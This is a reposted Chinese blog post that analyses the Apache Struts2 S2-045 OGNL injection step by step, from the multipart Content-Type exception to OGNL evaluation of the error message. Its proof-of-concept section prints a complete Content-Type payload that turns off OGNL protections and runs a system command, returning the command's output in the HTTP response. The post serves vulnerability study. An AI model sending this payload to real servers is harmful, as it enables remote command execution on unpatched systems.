内容简介:S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。从漏洞简述中可以得知是struts在处理
作者:lucifaer
S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。
0x00 漏洞描述
Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
从漏洞简述中可以得知是struts在处理 Content-Type 时如果获得未期预的值的话,将会爆出一个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于 Jakarta Multipart 解析器来处理文件上传时,可能会造成RCE。
Jakarta Multipart 解析器在Struts2中存在于 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 是默认组件之一,首先把这一点记录下来。
接下来看一下diff:
可以看到关键点在于首先判断 validation 是否为空,若为空的话则跳过处理。可见关键点在于对于 validation 的处理。
0x01 整体触发流程
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求
JakartaMultiPartRequest$parse:67 # 处理上传请求,捕捉上传异常
JakartaMultiPartRequest$processUpload:91 # 解析请求
JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器,解析上传请求
JakartaMultiPartRequest$createRequestContext # 实例化报文解析器
FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据
FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常,并把错误的ContentType添加到报错信息中
JakartaMultiPartRequest$parse:68 # 处理文件上传异常
AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息
LocalizedMessage$LocalizedMessage:35 # 构造函数赋值
FileUploadInterceptor$intercept:264 # 进入文件上传处理流程,处理文件上传报错信息
LocalizedTextUtil$findText:391 # 查找本地化文本消息
LocalizedTextUtil$findText:573 # 获取默认消息
# 以下为ognl表达式的提取与执行过程
LocalizedTextUtil$getDefaultMessage:729
TextParseUtil$translateVariables:44
TextParseUtil$translateVariables:122
TextParseUtil$translateVariables:166
TextParser$evaluate:11
OgnlTextParser$evaluate:10
0x02 漏洞分析
2.1 漏洞触发点
根据diff所得结果,跟进 validation 的执行流程,就如漏洞描述中所述, validation 的调用位于Struts2的 FileUploadInterceptor 也就是处理文件上传的拦截器中。
跟进 LocalizedTextUtil.findText :
这边先不着急向下跟,首先看一下 valueStack 的内容是什么:
通过键值关系从 ActionContext 中返回ognl的堆栈结构,也就是说 valueStack 和ognl的执行相关。
接下来跟进 findText 方法,着重跟一下 valueStack ,可以发现主要是以下方法调用到该值:
findMessage() getMessage() getDefaultMessage() ReflectionProviderFactory.getInstance().getRealTarget()
先不管 ReflectionProviderFactory.getInstance().getRealTarget() , findMessage() 在执行过程中都会调用到 getMessage() ,而在 getMessage() 和 getDefaultMessage() 中都存在 buildMessageFormat() 方法,该方法用于消息的格式化,而格式化的消息是由 TextParseUtil.translateVariables() 来生成的:
这里注意 getMessage() 方法需要设置 bundleName 这个参数,而这个参数是由 aClass 赋值的,而在整个触发流程中 aClass 是一个 File 异常类,而这个类在 Collections.java 中是找不到的,所以在执行过程中,所有的 getMessage() 和 findMessage() 都是返回 null 的,也就是说,在整个流程中,只有 getDefaultMessage() 会被触发。
跟一下这个 TextParseUtil.translateVariables() 的具体实现:
可以看到首先对 defaultMessage 进行ognl表达式的提取,之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的 defaultMessage 即:
2.2 触发流程
网上很多文章并没有说该漏洞的触发流程是什么样的,只是在上面的关键点下了一个断向下调试,所以只是完成了对这个流程的调试而已,并没有完整的把这个漏洞说清楚的原因(浮躁的圈子= =)。
我记录一下我 根据单元测试 而找到触发流程的过程。
根据2.1的分析,我们现在知道只要调用了 org.apache.struts2.interceptor.FileUploadInterceptor$intercept 且 request 触发错误处理流程,且 validation 不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了 intercept() 这个方法:
如上图红框的内容,我找到了针对于 FileUploadInterceptor 的单元测试,在单元测试中详尽的描述了 intercept() 的处理流程,跟进看一下我找到了一个有趣的单元测试 testInvalidContentTypeMultipartRequest() :
还记得我们的 intercept 的处理流程么:
也就是说我们需要关心的只有 MyFileupAction()与request的处理流程 。
首先来看一下 MyFileupAction() 是否是 ValidationAware 接口的一个实例:
ok,是 ValidationAware 一个实现, getAction() 方法将 setAction() 设置的对象返回。接下来我们跟一下 req 的处理流程:
-> createMultipartRequest(req, 2000) -> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider()) -> this(multiPartRequest, request, saveDir, provider, false);
关键点在于 multi.parse(request, saveDir); 根据调用栈,可以看到这里是调用了 JakartaMultiPartRequest 实例的 parse() 方法:
这里注意会捕获 FileUploadException 异常。
接着跟进 processUpload() 方法:
继续跟进:
首先看 createRequestContext() 对于请求做了哪些处理:
返回了一个实例化的 RequestContext() ,记住该实例有四个内置的方法:
- getCharacterEncoding()
- getContentType()
- getContentLength()
- getInputStream()
接着跟进 parseRequest() :
跟进 getItemIterator() :
继续跟进:
这一段代码首先调用了 RequestContext 实例的 getContentType() 方法,该方法就像上面调用栈中所看到的一样,会返回请求的 ContentType 字段,然后做一个存在性校验,校验 ContentType 是否为空或并非以 multipart 开头,如果上述条件成立,则抛出一个错误,并把错误的 ContentType 加入到报错信息中。这里的 InvalidContentTypeException 类是继承于 FileUploadException 的,也就是说会抛出一个 FileUploadException 的错误。
反过来看 JakartaMultiPartRequest 的异常捕获逻辑:
很有意思,我们直接跟进 buildErrorMessage 看一下:
可以看到在这里,我们将包含着我们可以自定义的 ContentType 赋值给 defaultMessage 回看2.1所说的漏洞触发点,这里就是我们发送请求将ognl传递到漏洞触发点的 defaultMessage :
拆分消息中的ognl表达式,并执行:
0x03 构造POC
根据上面的分析,我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的 ContentType 。较为通用的一个poc如下:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
效果如下:
0x04 Reference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Is Parallel Programming Hard, And, If So, What Can You Do About
Paul E. McKenney
The purpose of this book is to help you understand how to program shared-memory parallel machines without risking your sanity.1 By describing the algorithms and designs that have worked well in the pa......一起来看看 《Is Parallel Programming Hard, And, If So, What Can You Do About 》 这本书的介绍吧!